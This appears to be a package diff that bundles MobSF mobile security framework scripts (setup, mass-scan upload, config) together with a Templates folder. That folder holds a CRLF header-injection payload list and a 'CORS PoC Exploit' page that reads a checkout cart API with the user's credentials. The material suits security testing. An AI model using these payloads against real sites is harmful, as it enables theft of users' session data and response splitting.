supplier-meesho.webflow 1.0.0

package/MobSF/scripts/mass_static_analysis.py

@@ -0,0 +1,95 @@
+#!/usr/bin/env python
+# Mass Static Analysis
+import argparse
+import logging
+import os
+import urllib.error
+import urllib.parse
+import urllib.request
+
+import requests
+
+logger = logging.getLogger(__name__)
+
+
+def is_server_up(url):
+    try:
+        urllib.request.urlopen(url, timeout=5)
+        return True
+    except urllib.error.URLError:
+        pass
+    return False
+
+
+def start_scan(directory, server_url, apikey, rescan='0'):
+    print('\nLooking for Android/iOS/'
+          'Windows binaries or source code in : ' + directory)
+    logger.info('Uploading to MobSF Server')
+    uploaded = []
+    mimes = {
+        '.apk': 'application/octet-stream',
+        '.ipa': 'application/octet-stream',
+        '.appx': 'application/octet-stream',
+        '.zip': 'application/zip',
+    }
+    for filename in os.listdir(directory):
+        fpath = os.path.join(directory, filename)
+        _, ext = os.path.splitext(fpath)
+        if ext in mimes:
+            files = {'file': (filename, open(fpath, 'rb'),
+                              mimes[ext], {'Expires': '0'})}
+            response = requests.post(
+                server_url + '/api/v1/upload',
+                files=files,
+                headers={'AUTHORIZATION': apikey})
+            if response.status_code == 200 and 'hash' in response.json():
+                logger.info('[OK] Upload OK: %s', filename)
+                uploaded.append(response.json())
+            else:
+                logger.error('Performing Upload: %s', filename)
+
+    logger.info('Running Static Analysis')
+    for upl in uploaded:
+        logger.info('Started Static Analysis on: %s', upl['file_name'])
+        if rescan == '1':
+            upl['re_scan'] = 1
+        response = requests.post(
+            server_url + '/api/v1/scan',
+            data=upl,
+            headers={'AUTHORIZATION': apikey})
+        if response.status_code == 200:
+            logger.info('[OK] Static Analysis Complete: %s', upl['file_name'])
+        else:
+            logger.error('Performing Static Analysis: %s', upl['file_name'])
+
+
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser()
+    parser.add_argument('-d', '--directory',
+                        help='Path to the directory that contains '
+                             'mobile app binary/zipped source code')
+    parser.add_argument(
+        '-s', '--ipport', help='IP address and Port number '
+                               'of a running MobSF Server. '
+                               '(ex: 127.0.0.1:8000)')
+    parser.add_argument(
+        '-k', '--apikey', help='MobSF REST API Key')
+    parser.add_argument(
+        '-r', '--rescan', help='Run a fresh scan. '
+                               'Value can be 1 or 0 (Default: 0)')
+    args = parser.parse_args()
+
+    if args.directory and args.ipport and args.apikey:
+        server = args.ipport
+        directory = args.directory
+        server_url = 'http://' + server
+        apikey = args.apikey
+        rescan = args.rescan
+        if not is_server_up(server_url):
+            print('MobSF REST API Server is not running at ' + server_url)
+            print('Exiting!')
+            exit(0)
+        # MobSF is running, start scan
+        start_scan(directory, server_url, apikey, rescan)
+    else:
+        parser.print_help()

package/MobSF/scripts/postgres_support.sh

@@ -0,0 +1,11 @@
+#!/bin/bash
+set -e
+POSTGRES=$1
+echo "Postgres support : ${POSTGRES}"
+if [ "$POSTGRES" == True ]; then
+    pip3 install psycopg2-binary
+    #Enable postgres support
+    sed -i '/# Sqlite3 support/,/# End Sqlite3 support/d' mobsf/MobSF/settings.py && \
+    sed -i '/# Postgres DB - Install psycopg2/,/"""/d' mobsf/MobSF/settings.py && \
+    sed -i '/# End Postgres support/,/"""/d' mobsf/MobSF/settings.py
+fi

package/MobSF/scripts/stack/docker-compose.yml

@@ -0,0 +1,15 @@
+version: "3"
+services:
+  web:
+    image: opensecurity/mobile-security-framework-mobsf:latest
+    hostname: mobsfhost
+    deploy:
+      replicas: 1
+      restart_policy:
+        condition: on-failure
+    ports:
+      - "8000:8000"
+    networks:
+      - webnet
+networks:
+  webnet:

package/MobSF/scripts/update_android_permissions.py

@@ -0,0 +1,46 @@
+#!/usr/bin/env python3
+
+import re
+
+import requests
+
+from bs4 import BeautifulSoup as Soup
+
+ANDROID_PERMISSION_DOCS_URL = ('https://developer.android.com/'
+                               'reference/android/Manifest.permission')
+
+response = requests.get(ANDROID_PERMISSION_DOCS_URL)
+content = Soup(response.content, 'html.parser')
+
+online_permissions = {}
+
+# grab all the permissions from the online docs
+permission_divs = content.find_all(
+    'div', {'data-version-added': re.compile(r'\d*')})
+for pd in permission_divs:
+    permission_name = pd.find('h3').contents[0]
+    if permission_name in ['Constants', 'Manifest.permission']:
+        continue
+    try:
+        protection_level = re.search(
+            r'Protection level\: (\w+)', str(pd)).groups()[0]
+    except AttributeError:
+        protection_level = 'normal'
+    description = str(pd.find('p').contents[0]).strip()
+    online_permissions[permission_name] = [protection_level,
+                                           'TODO - fill in short description',
+                                           description]
+
+# check the permissions we currently have in dvm_permissions.py
+DVM_PERMISSIONS = {}
+eval(compile(open('../mobsf/StaticAnalyzer/views/'
+                  'android/dvm_permissions.py').read(),
+             '<string>',
+             'exec'))
+MANIFEST_PERMISSIONS = DVM_PERMISSIONS['MANIFEST_PERMISSION']
+
+for permission_name in online_permissions:
+    if permission_name in MANIFEST_PERMISSIONS.keys():
+        continue
+    print('\'{}\': {},'.format(permission_name, str(
+        online_permissions[permission_name])))

package/MobSF/setup.bat

@@ -0,0 +1,81 @@
+@echo off
+rem Python Check
+set /a count=0
+where python >nul 2>&1 && (
+  echo [INSTALL] Checking for Python version 3.8+
+  :redo
+  if %count% lss 3 (
+    set /a count+=1
+    rem Python Version Check
+    for /F "tokens=* USEBACKQ" %%F IN (`python --version`) DO (
+      set var=%%F
+    )
+  ) else (
+    exit /b
+  )
+  echo %var%|findstr /R "[3].[89]" >nul
+  if errorlevel 1 (
+      if "%var%"=="" goto redo
+      echo [ERROR] MobSF dependencies require Python 3.8/3.9. Your python points to %var%
+      exit /b
+  ) else (
+      echo [INSTALL] Found %var%
+  )
+
+  rem Pip Check and Upgrade
+  pip >nul 2>&1 && (
+    echo [INSTALL] Found pip
+    python -m pip install --no-cache-dir --upgrade pip
+  ) || (
+    echo [ERROR] pip is not available in PATH
+    pause
+    exit /b
+  )
+
+  rem OpenSSL Check
+  if exist "C:\\Program Files\\OpenSSL-Win64\\bin\\openssl.exe" (
+    echo [INSTALL] Found OpenSSL executable
+  ) else (
+   echo [ERROR] OpenSSL executable not found in [C:\\Program Files\\OpenSSL-Win64\\bin\\openssl.exe]
+   echo [INFO] Install OpenSSL non-light version - https://slproweb.com/products/Win32OpenSSL.html
+   pause
+   exit /b
+  )
+
+  rem Visual Studio Build Tools Check
+  if exist "C:\\Program Files (x86)\\Microsoft Visual Studio" (
+    echo [INSTALL] Found Visual Studio Build Tools
+  ) else (
+    echo [ERROR] Microsoft Visual C++ 14.0 not found in [C:\\Program Files (x86^)\\Microsoft Visual Studio]
+    echo [INFO] Install Microsoft Visual Studio Build Tools - https://visualstudio.microsoft.com/thank-you-downloading-visual-studio/?sku=BuildTools^&rel=16
+    pause
+    exit /b
+  )
+
+  rem Create venv
+  echo [INSTALL] Creating venv
+  rmdir "venv" /q /s >nul 2>&1
+  python -m venv ./venv
+  set venv=.\venv\Scripts\python
+  %venv% -m pip install --upgrade pip
+
+  set LIB=C:\Program Files\OpenSSL-Win64\lib;%LIB%
+  set INCLUDE=C:\Program Files\OpenSSL-Win64\include;%INCLUDE%
+
+  echo [INSTALL] Installing Requirements
+  %venv% -m pip install --no-cache-dir --use-deprecated=legacy-resolver -r requirements.txt
+  
+  echo [INSTALL] Clean Up
+  call scripts/clean.bat y
+
+  echo [INSTALL] Migrating Database
+  %venv% manage.py makemigrations
+  %venv% manage.py makemigrations StaticAnalyzer
+  %venv% manage.py migrate
+  echo Download and Install wkhtmltopdf for PDF Report Generation - https://wkhtmltopdf.org/downloads.html
+  echo [INSTALL] Installation Complete
+  %venv% scripts/check_install.py
+  exit /b 0
+) || (
+  echo [ERROR] python3 is not installed
+)

package/MobSF/setup.py

@@ -0,0 +1,61 @@
+#!/usr/bin/env python3
+"""Setup for MobSF."""
+
+
+from setuptools import (
+    find_packages,
+    setup,
+)
+
+from pathlib import Path
+
+
+def read(rel_path):
+    init = Path(__file__).resolve().parent / rel_path
+    return init.read_text('utf-8', 'ignore')
+
+
+def get_version():
+    ver_path = 'mobsf/MobSF/init.py'
+    for line in read(ver_path).splitlines():
+        if line.startswith('VERSION'):
+            return line.split('\'')[1]
+    raise RuntimeError('Unable to find version string.')
+
+
+description = (
+    'Mobile Security Framework (MobSF) is an automated,'
+    ' all-in-one mobile application (Android/iOS/Windows) pen-testing,'
+    ' malware analysis and security assessment framework capable of '
+    'performing static and dynamic analysis.')
+
+setup(
+    name='mobsf',
+    version=get_version(),
+    description=description,
+    author='Ajin Abraham',
+    author_email='ajin25@gmail.com',
+    classifiers=[
+        'Development Status :: 4 - Beta',
+        'Intended Audience :: Developers',
+        'License :: OSI Approved :: GNU General Public License v3 (GPLv3)',
+        'Programming Language :: Python :: 3.8',
+        'Topic :: Security',
+        'Topic :: Software Development :: Quality Assurance',
+    ],
+    packages=find_packages(include=[
+        'mobsf', 'mobsf.*',
+    ]),
+    include_package_data=True,
+    python_requires='>=3.8<=3.9',
+    entry_points={
+        'console_scripts': [
+            'mobsf = mobsf.__main__:main',
+            'mobsfdb = mobsf.__main__:db',
+        ],
+    },
+    url='https://github.com/MobSF/Mobile-Security-Framework-MobSF',
+    long_description=read('README.md'),
+    long_description_content_type='text/markdown',
+    install_requires=Path('requirements.txt').read_text().splitlines(),
+)

package/MobSF/setup.sh

@@ -0,0 +1,76 @@
+#!/bin/bash
+
+# Python3 Check
+unamestr=$(uname)
+if ! [ -x "$(command -v python3)" ]; then
+    echo '[ERROR] python3 is not installed.' >&2
+    exit 1
+fi
+
+# Python3 Version Check
+python_version="$(python3 --version 2>&1 | awk '{print $2}')"
+py_major=$(echo "$python_version" | cut -d'.' -f1)
+py_minor=$(echo "$python_version" | cut -d'.' -f2)
+if [ "$py_major" -eq "3" ] && [ "$py_minor" -gt "7" ]; then
+    echo "[INSTALL] Found Python ${python_version}"
+else
+    echo "[ERROR] MobSF dependencies require Python 3.8/3.9. You have Python version ${python_version} or python3 points to Python ${python_version}."
+    exit 1
+fi
+
+# Pip Check and Upgrade
+python3 -m pip -V
+if [ $? -eq 0 ]; then
+    echo '[INSTALL] Found pip'
+    if [[ $unamestr == 'Darwin' ]]; then
+        python3 -m pip install --no-cache-dir --upgrade pip
+    else
+        python3 -m pip install --no-cache-dir --upgrade pip --user
+    fi
+else
+    echo '[ERROR] python3-pip not installed'
+    exit 1
+fi
+
+# macOS Specific Checks
+if [[ $unamestr == 'Darwin' ]]; then
+    # Check if xcode is installed
+    xcode-select -v
+    if ! [ $? -eq 0 ]; then
+        echo 'Please install command-line tools'
+        echo 'xcode-select --install'
+        exit 1
+    else
+        echo '[INSTALL] Found Xcode'
+	  fi    
+fi
+
+# Install venv
+echo '[INSTALL] Using python virtualenv'
+rm -rf ./venv
+python3 -m venv ./venv
+if [ $? -eq 0 ]; then
+    echo '[INSTALL] Activating virtualenv'
+    source venv/bin/activate
+    pip install --upgrade pip
+else
+    echo '[ERROR] Failed to create virtualenv. Please install MobSF requirements mentioned in Documentation.'
+    exit 1
+fi
+
+echo '[INSTALL] Installing Requirements'
+pip install --no-cache-dir --use-deprecated=legacy-resolver -r requirements.txt
+
+echo '[INSTALL] Clean Up'
+bash scripts/clean.sh y
+
+echo '[INSTALL] Migrating Database'
+python manage.py makemigrations
+python manage.py makemigrations StaticAnalyzer
+python manage.py migrate
+wkhtmltopdf -V
+if ! [ $? -eq 0 ]; then
+    echo 'Download and Install wkhtmltopdf for PDF Report Generation - https://wkhtmltopdf.org/downloads.html'
+fi
+echo '[INSTALL] Installation Complete'
+python scripts/check_install.py

package/MobSF/tox.ini

@@ -0,0 +1,94 @@
+[tox]
+envlist = py37, py38, py39
+skipsdist = True
+
+[testenv]
+deps =
+    -rrequirements.txt
+
+[testenv:test]
+skip_install = true
+deps =
+whitelist_externals =
+    git
+    bash
+commands =
+    git submodule update --init --recursive
+    bash -c '. venv/bin/activate && python manage.py test mobsf'
+
+[testenv:lint]
+skip_install = true
+deps =
+    pydocstyle
+    flake8
+    flake8-broken-line
+    flake8-bugbear
+    flake8-builtins
+    flake8-colors
+    flake8-commas
+    flake8-comprehensions
+    flake8-docstrings
+    flake8-eradicate
+    flake8-import-order
+    flake8-logging-format
+    flake8-quotes
+    flake8-self
+    pep8-naming
+    radon
+    codespell
+commands =
+    flake8 {posargs}
+    codespell --ignore-words-list="doubleclick,dout,ne,upto" --skip="./mobsf/signatures/*,*.map,*.js,*.svg,./.tox/*,./venv/*,./.git/*"
+
+[testenv:clean]
+deps =
+skip_install = true
+whitelist_externals =
+    bash
+    find
+    rm
+commands =
+    find . -name "*.py[co]" -delete
+    bash -c 'find . -name "__pycache__" -exec rm -fr \{\} \; -prune'
+    bash -c 'find . -depth -name "*.egg-info" -exec rm -fr \{\} \;'
+    rm -rf .tox
+    bash -c './scripts/clean.sh y'
+
+
+
+; Reference for error codes:
+; http://www.pydocstyle.org/en/latest/error_codes.html
+[flake8]
+enable-extensions = G
+exclude =
+    .tox
+    .git
+    __pycache__
+    mobsf/uploads
+    mobsf/downloads
+    mobsf/static
+    mobsf/templates
+    venv
+    build
+    mobsf/DynamicAnalyzer/tools/adb/
+    mobsf/StaticAnalyzer/migrations/
+    mobsf/StaticAnalyzer/tools/enjarify/
+ignore =
+    D100
+    D101
+    D102
+    D103
+    D104
+    D105
+    D107
+    D401
+    W503
+    Q003 ; Allow only ' for strings
+    SF01 ; Allow private member access
+    I100 ; Use python sort imports
+    R701 ; TODO fix this later too complex
+    N400 ; For ASCII art
+    W605 ; For ASCII art invalid escape sequence 
+    ; remove # flake8: noqa from manifest_analysis.py, should be fixed with R701
+max-complexity = 42
+radon_max_cc = 10

package/Templates/CRLF.txt

@@ -0,0 +1,61 @@
+%0AHeader-Test:BLATRUC
+%0A%20Header-Test:BLATRUC
+%20%0AHeader-Test:BLATRUC
+%23%OAHeader-Test:BLATRUC
+%E5%98%8A%E5%98%8DHeader-Test:BLATRUC
+%E5%98%8A%E5%98%8D%0AHeader-Test:BLATRUC
+%3F%0AHeader-Test:BLATRUC
+crlf%0AHeader-Test:BLATRUC
+crlf%0A%20Header-Test:BLATRUC
+crlf%20%0AHeader-Test:BLATRUC
+crlf%23%OAHeader-Test:BLATRUC
+crlf%E5%98%8A%E5%98%8DHeader-Test:BLATRUC
+crlf%E5%98%8A%E5%98%8D%0AHeader-Test:BLATRUC
+crlf%3F%0AHeader-Test:BLATRUC
+%0DHeader-Test:BLATRUC
+%0D%20Header-Test:BLATRUC
+%20%0DHeader-Test:BLATRUC
+%23%0DHeader-Test:BLATRUC
+%23%0AHeader-Test:BLATRUC
+%E5%98%8A%E5%98%8DHeader-Test:BLATRUC
+%E5%98%8A%E5%98%8D%0DHeader-Test:BLATRUC
+%3F%0DHeader-Test:BLATRUC
+crlf%0DHeader-Test:BLATRUC
+crlf%0D%20Header-Test:BLATRUC
+crlf%20%0DHeader-Test:BLATRUC
+crlf%23%0DHeader-Test:BLATRUC
+crlf%23%0AHeader-Test:BLATRUC
+crlf%E5%98%8A%E5%98%8DHeader-Test:BLATRUC
+crlf%E5%98%8A%E5%98%8D%0DHeader-Test:BLATRUC
+crlf%3F%0DHeader-Test:BLATRUC
+%0D%0AHeader-Test:BLATRUC
+%0D%0A%20Header-Test:BLATRUC
+%20%0D%0AHeader-Test:BLATRUC
+%23%0D%0AHeader-Test:BLATRUC
+\r\nHeader-Test:BLATRUC
+ \r\n Header-Test:BLATRUC
+\r\n Header-Test:BLATRUC
+%5cr%5cnHeader-Test:BLATRUC
+%E5%98%8A%E5%98%8DHeader-Test:BLATRUC
+%E5%98%8A%E5%98%8D%0D%0AHeader-Test:BLATRUC
+%3F%0D%0AHeader-Test:BLATRUC
+crlf%0D%0AHeader-Test:BLATRUC
+crlf%0D%0A%20Header-Test:BLATRUC
+crlf%20%0D%0AHeader-Test:BLATRUC
+crlf%23%0D%0AHeader-Test:BLATRUC
+crlf\r\nHeader-Test:BLATRUC
+crlf%5cr%5cnHeader-Test:BLATRUC
+crlf%E5%98%8A%E5%98%8DHeader-Test:BLATRUC
+crlf%E5%98%8A%E5%98%8D%0D%0AHeader-Test:BLATRUC
+crlf%3F%0D%0AHeader-Test:BLATRUC
+%0D%0A%09Header-Test:BLATRUC
+crlf%0D%0A%09Header-Test:BLATRUC
+%250AHeader-Test:BLATRUC
+%25250AHeader-Test:BLATRUC
+%%0A0AHeader-Test:BLATRUC
+%25%30AHeader-Test:BLATRUC
+%25%30%61Header-Test:BLATRUC
+%u000AHeader-Test:BLATRUC
+//www.google.com/%2F%2E%2E%0D%0AHeader-Test:BLATRUC
+/www.google.com/%2E%2E%2F%0D%0AHeader-Test:BLATRUC
+/google.com/%2F..%0D%0AHeader-Test:BLATRUC

package/Templates/cors.html

@@ -0,0 +1,26 @@
+<!DOCTYPE html>
+<html>
+   <head>
+      <script>
+         function cors() {
+	        var xhttp = new XMLHttpRequest();
+		        xhttp.onreadystatechange = function() {
+			        if (this.readyState == 4 && this.status == 200) {
+			        	document.getElementById("emo").innerHTML = alert(this.responseText);
+	        }
+         };
+         xhttp.open("GET", "https://pow.meeshoqa.in/api/1.0/checkout/cart", true);
+         xhttp.withCredentials = true;
+         xhttp.send();
+         }
+      </script>
+   </head>
+   <body>
+      <center>
+      <h2>CORS PoC Exploit </h2>
+      <h3>Created by Meesho Security Team</a></h3>
+      <div id="demo">
+         <button type="button" onclick="cors()">Exploit</button>
+      </div>
+   </body>
+</html>